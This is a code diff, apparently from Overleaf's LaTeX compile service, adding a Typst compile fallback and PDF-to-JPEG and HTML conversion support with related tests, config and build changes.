|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Log output
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
async function _writeLogOutputAsync(compileName, directory, output) {
|
||||||
|
const content = (output && output.stdout) || ''
|
||||||
|
if (!content) return
|
||||||
|
// Write to output.log so the PDF-preview log panel picks it up.
|
||||||
|
const logFile = Path.join(directory, 'output.log')
|
||||||
|
try {
|
||||||
|
await fs.promises.unlink(logFile)
|
||||||
|
} catch (err) {
|
||||||
|
if (err.code !== 'ENOENT') {
|
||||||
|
logger.error({ err, compileName, logFile }, 'error removing typst log')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
await fs.promises.writeFile(logFile, content, { flag: 'wx' })
|
||||||
|
} catch (err) {
|
||||||
|
if (err.code !== 'EEXIST') {
|
||||||
|
logger.error({ err, compileName, logFile }, 'error writing typst log')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Cold-start fallback (Docker / sandboxed mode)
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function _runColdStart(compileName, options) {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
const { directory, mainFile, image, environment, compileGroup } = options
|
||||||
|
const timeout = options.timeout || 60_000
|
||||||
|
|
||||||
|
logger.debug({ directory, mainFile, compileGroup }, 'typst cold-start compile')
|
||||||
|
|
||||||
|
const inputPath = `$COMPILE_DIR/${mainFile}`
|
||||||
|
const command = ['/bin/sh', '-c', `typst compile ${inputPath} output.pdf 2>&1`]
|
||||||
|
|
||||||
|
ProcessTable[compileName] = CommandRunner.run(
|
||||||
|
compileName,
|
||||||
|
command,
|
||||||
|
directory,
|
||||||
|
image,
|
||||||
|
timeout,
|
||||||
|
environment || {},
|
||||||
|
compileGroup,
|
||||||
|
null,
|
||||||
|
function (error, output) {
|
||||||
|
delete ProcessTable[compileName]
|
||||||
|
if (error && (error.terminated || error.timedout)) {
|
||||||
|
return reject(error)
|
||||||
|
}
|
||||||
|
const combined =
|
||||||
|
output || (error ? { stdout: error.stdout || '' } : null)
|
||||||
|
_writeLogOutputAsync(compileName, directory, combined).then(
|
||||||
|
() => {
|
||||||
|
if (error && combined?.stdout) {
|
||||||
|
// Non-zero exit with output = typst compile error (not a
|
||||||
|
// system/infra error). Signal failure so the log panel opens.
|
||||||
|
reject(
|
||||||
|
Object.assign(new Error('typst-compile-failure'), {
|
||||||
|
typstCompileFailure: true,
|
||||||
|
})
|
||||||
|
)
|
||||||
|
} else if (error) {
|
||||||
|
reject(error)
|
||||||
|
} else {
|
||||||
|
resolve(combined)
|
||||||
|
}
|
||||||
|
},
|
||||||
|
reject
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Public interface
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
function isRunning(compileName) {
|
function isRunning(compileName) {
|
||||||
return ProcessTable[compileName] != null
|
return (
|
||||||
|
ProcessTable[compileName] != null ||
|
||||||
|
(WatchTable[compileName]?.pendingResolvers.length > 0)
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
function killTypst(compileName, callback) {
|
function killTypst(compileName, callback) {
|
||||||
logger.debug({ compileName }, 'killing running typst compile')
|
logger.debug({ compileName }, 'killing typst (watcher + any active compile)')
|
||||||
if (!isRunning(compileName)) {
|
|
||||||
logger.warn({ compileName }, 'no such compile to kill')
|
// Cold-start fallback path
|
||||||
return callback(null)
|
if (ProcessTable[compileName] != null) {
|
||||||
|
CommandRunner.kill(ProcessTable[compileName], () => {})
|
||||||
|
delete ProcessTable[compileName]
|
||||||
}
|
}
|
||||||
CommandRunner.kill(ProcessTable[compileName], callback)
|
|
||||||
|
// Reject any in-flight waiters and tear down the watcher process
|
||||||
|
_rejectAllPending(
|
||||||
|
compileName,
|
||||||
|
Object.assign(new Error('terminated'), { terminated: true })
|
||||||
|
)
|
||||||
|
_killWatchEntry(compileName)
|
||||||
|
|
||||||
|
callback(null)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Kill all watcher processes when the CLSI Node process exits.
|
||||||
|
process.on('exit', () => {
|
||||||
|
for (const compileName of Object.keys(WatchTable)) {
|
||||||
|
_killWatchEntry(compileName)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
const runTypst = (compileName, options, callback) => {
|
||||||
|
runTypstAsync(compileName, options).then(
|
||||||
|
result => callback(null, result),
|
||||||
|
err => callback(err)
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
export default {
|
export default {
|
||||||
@@ -98,7 +487,7 @@ export default {
|
|||||||
runTypst,
|
runTypst,
|
||||||
killTypst,
|
killTypst,
|
||||||
promises: {
|
promises: {
|
||||||
runTypst: promisify(runTypst),
|
runTypst: runTypstAsync,
|
||||||
killTypst: promisify(killTypst),
|
killTypst: promisify(killTypst),
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
clsi
|
clsi
|
||||||
--data-dirs=cache,compiles,output
|
--data-dirs=cache,compiles,output
|
||||||
--dependencies=
|
--dependencies=
|
||||||
--env-add=DOWNLOAD_HOST=http://clsi-nginx:8080,ALLOWED_COMPILE_GROUPS=clsi-perf simple-latex-file,ENABLE_PDF_CACHING=true,PDF_CACHING_ENABLE_WORKER_POOL=true,ALLOWED_IMAGES=quay.io/sharelatex/texlive-full:2017.1 quay.io/sharelatex/texlive-full:2025.1 quay.io/sharelatex/pandoc:3.9,TEXLIVE_IMAGE=quay.io/sharelatex/texlive-full:2025.1,TEX_LIVE_IMAGE_NAME_OVERRIDE=us-east1-docker.pkg.dev/overleaf-ops/ol-docker,TEXLIVE_IMAGE_USER=tex,SANDBOXED_COMPILES=true,SANDBOXED_COMPILES_HOST_DIR_COMPILES=$PWD/compiles,SANDBOXED_COMPILES_HOST_DIR_OUTPUT=$PWD/output,ENABLE_PANDOC_CONVERSIONS=true
|
--env-add=DOWNLOAD_HOST=http://clsi-nginx:8080,ALLOWED_COMPILE_GROUPS=clsi-perf simple-latex-file,ENABLE_PDF_CACHING=true,PDF_CACHING_ENABLE_WORKER_POOL=true,ALLOWED_IMAGES=quay.io/sharelatex/texlive-full:2017.1 quay.io/sharelatex/texlive-full:2025.1 quay.io/sharelatex/pandoc:3.9 quay.io/sharelatex/pdftocairo:24.02,TEXLIVE_IMAGE=quay.io/sharelatex/texlive-full:2025.1,TEX_LIVE_IMAGE_NAME_OVERRIDE=us-east1-docker.pkg.dev/overleaf-ops/ol-docker,TEXLIVE_IMAGE_USER=tex,SANDBOXED_COMPILES=true,SANDBOXED_COMPILES_HOST_DIR_COMPILES=$PWD/compiles,SANDBOXED_COMPILES_HOST_DIR_OUTPUT=$PWD/output,ENABLE_PANDOC_CONVERSIONS=true,ENABLE_PDF_CONVERSIONS=true
|
||||||
--env-pass-through=
|
--env-pass-through=
|
||||||
--esmock-loader=False
|
--esmock-loader=False
|
||||||
--node-version=24.14.1
|
--node-version=24.14.1
|
||||||
|
|||||||
@@ -31,6 +31,9 @@ module.exports = {
|
|||||||
parseInt(process.env.CLSI_CONVERSION_TIMEOUT_SECONDS, 10) || 60,
|
parseInt(process.env.CLSI_CONVERSION_TIMEOUT_SECONDS, 10) || 60,
|
||||||
pandocImage: process.env.PANDOC_IMAGE || 'quay.io/sharelatex/pandoc:3.9',
|
pandocImage: process.env.PANDOC_IMAGE || 'quay.io/sharelatex/pandoc:3.9',
|
||||||
enablePandocConversions: process.env.ENABLE_PANDOC_CONVERSIONS === 'true',
|
enablePandocConversions: process.env.ENABLE_PANDOC_CONVERSIONS === 'true',
|
||||||
|
pdftocairoImage:
|
||||||
|
process.env.PDFTOCAIRO_IMAGE || 'quay.io/sharelatex/pdftocairo:24.02',
|
||||||
|
enablePdfConversions: process.env.ENABLE_PDF_CONVERSIONS === 'true',
|
||||||
maxUploadSize: 50 * 1024 * 1024,
|
maxUploadSize: 50 * 1024 * 1024,
|
||||||
|
|
||||||
internal: {
|
internal: {
|
||||||
|
|||||||
@@ -30,7 +30,7 @@ services:
|
|||||||
ALLOWED_COMPILE_GROUPS: clsi-perf simple-latex-file
|
ALLOWED_COMPILE_GROUPS: clsi-perf simple-latex-file
|
||||||
ENABLE_PDF_CACHING: true
|
ENABLE_PDF_CACHING: true
|
||||||
PDF_CACHING_ENABLE_WORKER_POOL: true
|
PDF_CACHING_ENABLE_WORKER_POOL: true
|
||||||
ALLOWED_IMAGES: quay.io/sharelatex/texlive-full:2017.1 quay.io/sharelatex/texlive-full:2025.1 quay.io/sharelatex/pandoc:3.9
|
ALLOWED_IMAGES: quay.io/sharelatex/texlive-full:2017.1 quay.io/sharelatex/texlive-full:2025.1 quay.io/sharelatex/pandoc:3.9 quay.io/sharelatex/pdftocairo:24.02
|
||||||
TEXLIVE_IMAGE: quay.io/sharelatex/texlive-full:2025.1
|
TEXLIVE_IMAGE: quay.io/sharelatex/texlive-full:2025.1
|
||||||
TEX_LIVE_IMAGE_NAME_OVERRIDE: us-east1-docker.pkg.dev/overleaf-ops/ol-docker
|
TEX_LIVE_IMAGE_NAME_OVERRIDE: us-east1-docker.pkg.dev/overleaf-ops/ol-docker
|
||||||
TEXLIVE_IMAGE_USER: tex
|
TEXLIVE_IMAGE_USER: tex
|
||||||
@@ -38,6 +38,7 @@ services:
|
|||||||
SANDBOXED_COMPILES_HOST_DIR_COMPILES: $PWD/compiles
|
SANDBOXED_COMPILES_HOST_DIR_COMPILES: $PWD/compiles
|
||||||
SANDBOXED_COMPILES_HOST_DIR_OUTPUT: $PWD/output
|
SANDBOXED_COMPILES_HOST_DIR_OUTPUT: $PWD/output
|
||||||
ENABLE_PANDOC_CONVERSIONS: true
|
ENABLE_PANDOC_CONVERSIONS: true
|
||||||
|
ENABLE_PDF_CONVERSIONS: true
|
||||||
volumes:
|
volumes:
|
||||||
- ./reports:/overleaf/services/clsi/reports
|
- ./reports:/overleaf/services/clsi/reports
|
||||||
- ./compiles:/overleaf/services/clsi/compiles
|
- ./compiles:/overleaf/services/clsi/compiles
|
||||||
|
|||||||
@@ -53,7 +53,7 @@ services:
|
|||||||
ALLOWED_COMPILE_GROUPS: clsi-perf simple-latex-file
|
ALLOWED_COMPILE_GROUPS: clsi-perf simple-latex-file
|
||||||
ENABLE_PDF_CACHING: true
|
ENABLE_PDF_CACHING: true
|
||||||
PDF_CACHING_ENABLE_WORKER_POOL: true
|
PDF_CACHING_ENABLE_WORKER_POOL: true
|
||||||
ALLOWED_IMAGES: quay.io/sharelatex/texlive-full:2017.1 quay.io/sharelatex/texlive-full:2025.1 quay.io/sharelatex/pandoc:3.9
|
ALLOWED_IMAGES: quay.io/sharelatex/texlive-full:2017.1 quay.io/sharelatex/texlive-full:2025.1 quay.io/sharelatex/pandoc:3.9 quay.io/sharelatex/pdftocairo:24.02
|
||||||
TEXLIVE_IMAGE: quay.io/sharelatex/texlive-full:2025.1
|
TEXLIVE_IMAGE: quay.io/sharelatex/texlive-full:2025.1
|
||||||
TEX_LIVE_IMAGE_NAME_OVERRIDE: us-east1-docker.pkg.dev/overleaf-ops/ol-docker
|
TEX_LIVE_IMAGE_NAME_OVERRIDE: us-east1-docker.pkg.dev/overleaf-ops/ol-docker
|
||||||
TEXLIVE_IMAGE_USER: tex
|
TEXLIVE_IMAGE_USER: tex
|
||||||
@@ -61,6 +61,7 @@ services:
|
|||||||
SANDBOXED_COMPILES_HOST_DIR_COMPILES: $PWD/compiles
|
SANDBOXED_COMPILES_HOST_DIR_COMPILES: $PWD/compiles
|
||||||
SANDBOXED_COMPILES_HOST_DIR_OUTPUT: $PWD/output
|
SANDBOXED_COMPILES_HOST_DIR_OUTPUT: $PWD/output
|
||||||
ENABLE_PANDOC_CONVERSIONS: true
|
ENABLE_PANDOC_CONVERSIONS: true
|
||||||
|
ENABLE_PDF_CONVERSIONS: true
|
||||||
depends_on:
|
depends_on:
|
||||||
clsi-nginx:
|
clsi-nginx:
|
||||||
condition: service_started
|
condition: service_started
|
||||||
|
|||||||
@@ -23,6 +23,7 @@
|
|||||||
"@overleaf/promise-utils": "workspace:*",
|
"@overleaf/promise-utils": "workspace:*",
|
||||||
"@overleaf/settings": "workspace:*",
|
"@overleaf/settings": "workspace:*",
|
||||||
"@overleaf/stream-utils": "workspace:*",
|
"@overleaf/stream-utils": "workspace:*",
|
||||||
|
"@overleaf/validation-tools": "workspace:*",
|
||||||
"archiver": "5.3.2",
|
"archiver": "5.3.2",
|
||||||
"async": "^3.2.5",
|
"async": "^3.2.5",
|
||||||
"body-parser": "1.20.4",
|
"body-parser": "1.20.4",
|
||||||
@@ -45,7 +46,6 @@
|
|||||||
"mocha": "^11.1.0",
|
"mocha": "^11.1.0",
|
||||||
"mocha-junit-reporter": "^2.2.1",
|
"mocha-junit-reporter": "^2.2.1",
|
||||||
"mocha-multi-reporters": "^1.5.1",
|
"mocha-multi-reporters": "^1.5.1",
|
||||||
"mock-fs": "^5.1.2",
|
|
||||||
"node-fetch": "^2.7.0",
|
"node-fetch": "^2.7.0",
|
||||||
"nyc": "^17.1.0",
|
"nyc": "^17.1.0",
|
||||||
"sinon": "~9.0.1",
|
"sinon": "~9.0.1",
|
||||||
|
|||||||
@@ -0,0 +1,83 @@
|
|||||||
|
import Client from './helpers/Client.js'
|
||||||
|
import ClsiApp from './helpers/ClsiApp.js'
|
||||||
|
import Path from 'node:path'
|
||||||
|
import fs from 'node:fs/promises'
|
||||||
|
import { promisify } from 'node:util'
|
||||||
|
import { execFile as execFileCb } from 'node:child_process'
|
||||||
|
import { expect } from 'chai'
|
||||||
|
|
||||||
|
const execFile = promisify(execFileCb)
|
||||||
|
|
||||||
|
const FIXTURE_PDF = Path.join(import.meta.dirname, '../fixtures/minimal.pdf')
|
||||||
|
|
||||||
|
const MODE_EXPECTATIONS = {
|
||||||
|
preview: { width: 794 },
|
||||||
|
thumbnail: { width: 190 },
|
||||||
|
}
|
||||||
|
|
||||||
|
async function writeResponseToTempfile(response) {
|
||||||
|
const buffer = Buffer.from(await response.arrayBuffer())
|
||||||
|
const tmpPath = `/tmp/clsi-acceptance-pdf-to-jpeg-${crypto.randomUUID()}.jpg`
|
||||||
|
await fs.writeFile(tmpPath, buffer)
|
||||||
|
return { tmpPath, buffer }
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('pdf-to-jpeg conversion', function () {
|
||||||
|
before(async function () {
|
||||||
|
await ClsiApp.ensureRunning()
|
||||||
|
})
|
||||||
|
|
||||||
|
for (const [mode, { width: expectedWidth }] of Object.entries(
|
||||||
|
MODE_EXPECTATIONS
|
||||||
|
)) {
|
||||||
|
describe(`with mode=${mode}`, function () {
|
||||||
|
let response
|
||||||
|
let tmpPath
|
||||||
|
let buffer
|
||||||
|
|
||||||
|
before(async function () {
|
||||||
|
response = await Client.convertPdfToJpeg(FIXTURE_PDF, mode)
|
||||||
|
expect(response.status).to.equal(200)
|
||||||
|
;({ tmpPath, buffer } = await writeResponseToTempfile(response))
|
||||||
|
})
|
||||||
|
|
||||||
|
after(async function () {
|
||||||
|
if (tmpPath) {
|
||||||
|
await fs.unlink(tmpPath).catch(() => {})
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
it('returns a JPEG (per `file`)', async function () {
|
||||||
|
const { stdout } = await execFile('file', ['--brief', tmpPath])
|
||||||
|
expect(stdout).to.match(/JPEG image data/)
|
||||||
|
})
|
||||||
|
|
||||||
|
it(`has the expected width of ${expectedWidth}px`, async function () {
|
||||||
|
const { stdout } = await execFile('identify', [
|
||||||
|
'-format',
|
||||||
|
'%w %h',
|
||||||
|
tmpPath,
|
||||||
|
])
|
||||||
|
const [width, height] = stdout.trim().split(' ').map(Number)
|
||||||
|
expect(width).to.equal(expectedWidth)
|
||||||
|
// A4 portrait is taller than wide; height must be positive and
|
||||||
|
// larger than the width (so the aspect ratio was preserved).
|
||||||
|
expect(height).to.be.greaterThan(width)
|
||||||
|
})
|
||||||
|
|
||||||
|
it('returns a non-empty body matching Content-Length', function () {
|
||||||
|
expect(buffer.length).to.be.greaterThan(0)
|
||||||
|
expect(buffer.length).to.equal(
|
||||||
|
Number(response.headers.get('content-length'))
|
||||||
|
)
|
||||||
|
})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('with an unsupported mode', function () {
|
||||||
|
it('returns 400', async function () {
|
||||||
|
const response = await Client.convertPdfToJpeg(FIXTURE_PDF, 'not-a-mode')
|
||||||
|
expect(response.status).to.equal(400)
|
||||||
|
})
|
||||||
|
})
|
||||||
|
})
|
||||||
@@ -53,6 +53,16 @@ async function convertDocument(path, type) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function convertPdfToJpeg(path, mode) {
|
||||||
|
const formData = new FormData()
|
||||||
|
formData.append('qqfile', await fsPromises.readFile(path), 'input.pdf')
|
||||||
|
return await fetch(`${host}/convert/pdf-to-jpeg?mode=${mode}`, {
|
||||||
|
method: 'POST',
|
||||||
|
headers: formData.getHeaders(),
|
||||||
|
body: formData.getBuffer(),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
async function convertProjectToDocument(
|
async function convertProjectToDocument(
|
||||||
projectId,
|
projectId,
|
||||||
userId,
|
userId,
|
||||||
@@ -239,6 +249,7 @@ export default {
|
|||||||
compile,
|
compile,
|
||||||
convertProjectToDocument,
|
convertProjectToDocument,
|
||||||
convertDocument,
|
convertDocument,
|
||||||
|
convertPdfToJpeg,
|
||||||
stopCompile,
|
stopCompile,
|
||||||
clearCache,
|
clearCache,
|
||||||
getOutputFile,
|
getOutputFile,
|
||||||
|
|||||||
@@ -18,6 +18,7 @@ describe('ConversionController', function () {
|
|||||||
ctx.documentStat = { size: 5678 }
|
ctx.documentStat = { size: 5678 }
|
||||||
ctx.Settings = {
|
ctx.Settings = {
|
||||||
enablePandocConversions: true,
|
enablePandocConversions: true,
|
||||||
|
enablePdfConversions: true,
|
||||||
path: {
|
path: {
|
||||||
compilesDir: '/compiles',
|
compilesDir: '/compiles',
|
||||||
outputDir: '/output',
|
outputDir: '/output',
|
||||||
@@ -591,6 +592,37 @@ describe('ConversionController', function () {
|
|||||||
})
|
})
|
||||||
})
|
})
|
||||||
|
|
||||||
|
describe('with conversionType=html', function () {
|
||||||
|
beforeEach(async function (ctx) {
|
||||||
|
ctx.req.query = { type: 'html' }
|
||||||
|
ctx.fs.stat.resolves(ctx.documentStat)
|
||||||
|
|
||||||
|
await ctx.ConversionController.convertProjectToDocument(
|
||||||
|
ctx.req,
|
||||||
|
ctx.res,
|
||||||
|
sinon.stub()
|
||||||
|
)
|
||||||
|
})
|
||||||
|
|
||||||
|
it('should call convertLaTeXToDocumentInDirWithLock with type=html', function (ctx) {
|
||||||
|
sinon.assert.calledWith(
|
||||||
|
ctx.ConversionManager.promises.convertLaTeXToDocumentInDirWithLock,
|
||||||
|
sinon.match(
|
||||||
|
/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/
|
||||||
|
),
|
||||||
|
sinon.match(
|
||||||
|
/^\/compiles\/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/
|
||||||
|
),
|
||||||
|
'main.tex',
|
||||||
|
'html'
|
||||||
|
)
|
||||||
|
})
|
||||||
|
|
||||||
|
it('should set the attachment filename with .zip extension', function (ctx) {
|
||||||
|
sinon.assert.calledWith(ctx.res.attachment, 'output.zip')
|
||||||
|
})
|
||||||
|
})
|
||||||
|
|
||||||
describe('when conversion fails', function () {
|
describe('when conversion fails', function () {
|
||||||
beforeEach(async function (ctx) {
|
beforeEach(async function (ctx) {
|
||||||
ctx.next = sinon.stub()
|
ctx.next = sinon.stub()
|
||||||
|
|||||||
@@ -77,6 +77,24 @@ const LATEX_TO_DOCUMENT_CASES = [
|
|||||||
'--extract-media=.',
|
'--extract-media=.',
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
type: 'html',
|
||||||
|
extension: 'html',
|
||||||
|
compressOutput: true,
|
||||||
|
pandocArgs: outputId => [
|
||||||
|
'pandoc',
|
||||||
|
Path.join('..', 'main.tex'),
|
||||||
|
'--output',
|
||||||
|
'main.html',
|
||||||
|
'--from',
|
||||||
|
'latex',
|
||||||
|
'--to',
|
||||||
|
'html',
|
||||||
|
'--standalone',
|
||||||
|
'--resource-path=..',
|
||||||
|
'--extract-media=.',
|
||||||
|
],
|
||||||
|
},
|
||||||
]
|
]
|
||||||
|
|
||||||
describe('ConversionManager', function () {
|
describe('ConversionManager', function () {
|
||||||
|
|||||||
@@ -1,7 +1,8 @@
|
|||||||
import { vi, expect, describe, beforeEach, afterEach, it } from 'vitest'
|
import { vi, expect, describe, beforeEach, afterEach, it } from 'vitest'
|
||||||
import Path from 'node:path'
|
import Path from 'node:path'
|
||||||
|
import fs from 'node:fs'
|
||||||
import fsPromises from 'node:fs/promises'
|
import fsPromises from 'node:fs/promises'
|
||||||
import mockFs from 'mock-fs'
|
import os from 'node:os'
|
||||||
|
|
||||||
const MODULE_PATH = Path.join(
|
const MODULE_PATH = Path.join(
|
||||||
import.meta.dirname,
|
import.meta.dirname,
|
||||||
@@ -15,20 +16,19 @@ describe('DraftModeManager', () => {
|
|||||||
}))
|
}))
|
||||||
|
|
||||||
ctx.DraftModeManager = (await import(MODULE_PATH)).default
|
ctx.DraftModeManager = (await import(MODULE_PATH)).default
|
||||||
ctx.filename = '/mock/filename.tex'
|
ctx.tmpDir = fs.mkdtempSync(Path.join(os.tmpdir(), 'draft-mode-test-'))
|
||||||
|
ctx.filename = Path.join(ctx.tmpDir, 'filename.tex')
|
||||||
ctx.contents = `\
|
ctx.contents = `\
|
||||||
\\documentclass{article}
|
\\documentclass{article}
|
||||||
\\begin{document}
|
\\begin{document}
|
||||||
Hello world
|
Hello world
|
||||||
\\end{document}\
|
\\end{document}\
|
||||||
`
|
`
|
||||||
mockFs({
|
fs.writeFileSync(ctx.filename, ctx.contents)
|
||||||
[ctx.filename]: ctx.contents,
|
|
||||||
})
|
|
||||||
})
|
})
|
||||||
|
|
||||||
afterEach(() => {
|
afterEach(ctx => {
|
||||||
mockFs.restore()
|
fs.rmSync(ctx.tmpDir, { recursive: true })
|
||||||
})
|
})
|
||||||
|
|
||||||
describe('injectDraftMode', () => {
|
describe('injectDraftMode', () => {
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
import sinon from 'sinon'
|
|
||||||
import { expect, describe, beforeEach, afterEach, it } from 'vitest'
|
import { expect, describe, beforeEach, afterEach, it } from 'vitest'
|
||||||
import mockFs from 'mock-fs'
|
import fs from 'node:fs'
|
||||||
|
import os from 'node:os'
|
||||||
import path from 'node:path'
|
import path from 'node:path'
|
||||||
|
|
||||||
const modulePath = path.join(
|
const modulePath = path.join(
|
||||||
@@ -8,30 +8,40 @@ const modulePath = path.join(
|
|||||||
'../../../app/js/OutputFileFinder'
|
'../../../app/js/OutputFileFinder'
|
||||||
)
|
)
|
||||||
|
|
||||||
|
function createTree(base, tree) {
|
||||||
|
fs.mkdirSync(base, { recursive: true })
|
||||||
|
for (const [name, content] of Object.entries(tree)) {
|
||||||
|
const fullPath = path.join(base, name)
|
||||||
|
if (Buffer.isBuffer(content) || typeof content === 'string') {
|
||||||
|
fs.writeFileSync(fullPath, content)
|
||||||
|
} else if (content && content.symlink) {
|
||||||
|
fs.symlinkSync(content.symlink, fullPath)
|
||||||
|
} else {
|
||||||
|
createTree(fullPath, content)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
describe('OutputFileFinder', function () {
|
describe('OutputFileFinder', function () {
|
||||||
beforeEach(async function (ctx) {
|
beforeEach(async function (ctx) {
|
||||||
ctx.OutputFileFinder = (await import(modulePath)).default
|
ctx.OutputFileFinder = (await import(modulePath)).default
|
||||||
ctx.directory = '/test/dir'
|
ctx.directory = fs.mkdtempSync(
|
||||||
ctx.callback = sinon.stub()
|
path.join(os.tmpdir(), 'output-finder-test-')
|
||||||
|
)
|
||||||
mockFs({
|
createTree(ctx.directory, {
|
||||||
[ctx.directory]: {
|
resource: {
|
||||||
resource: {
|
'path.tex': 'a source file',
|
||||||
'path.tex': 'a source file',
|
|
||||||
},
|
|
||||||
'output.pdf': 'a generated pdf file',
|
|
||||||
extra: {
|
|
||||||
'file.tex': 'a generated tex file',
|
|
||||||
},
|
|
||||||
'sneaky-file': mockFs.symlink({
|
|
||||||
path: '../foo',
|
|
||||||
}),
|
|
||||||
},
|
},
|
||||||
|
'output.pdf': 'a generated pdf file',
|
||||||
|
extra: {
|
||||||
|
'file.tex': 'a generated tex file',
|
||||||
|
},
|
||||||
|
'sneaky-file': { symlink: '../foo' },
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
|
|
||||||
afterEach(function () {
|
afterEach(function (ctx) {
|
||||||
mockFs.restore()
|
fs.rmSync(ctx.directory, { recursive: true })
|
||||||
})
|
})
|
||||||
|
|
||||||
describe('findOutputFiles', function () {
|
describe('findOutputFiles', function () {
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -56,6 +56,10 @@ COMPOSE_PROJECT_NAME_TEST_UNIT ?= test_unit_$(BUILD_DIR_NAME)
|
|||||||
DOCKER_COMPOSE_TEST_UNIT = \
|
DOCKER_COMPOSE_TEST_UNIT = \
|
||||||
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
||||||
|
|
||||||
|
.PHONY: print-branch-tag-safe
|
||||||
|
print-branch-tag-safe:
|
||||||
|
@echo $(BRANCH_NAME_TAG_SAFE)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
-docker rmi $(IMAGE_CI)
|
-docker rmi $(IMAGE_CI)
|
||||||
-docker rmi $(IMAGE_REPO_FINAL)
|
-docker rmi $(IMAGE_REPO_FINAL)
|
||||||
@@ -68,8 +72,8 @@ clean:
|
|||||||
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
||||||
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
||||||
|
|
||||||
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/docstore/reports:/overleaf/services/docstore/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/docstore/reports:/overleaf/services/docstore/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
||||||
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/docstore/reports:/overleaf/services/docstore/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
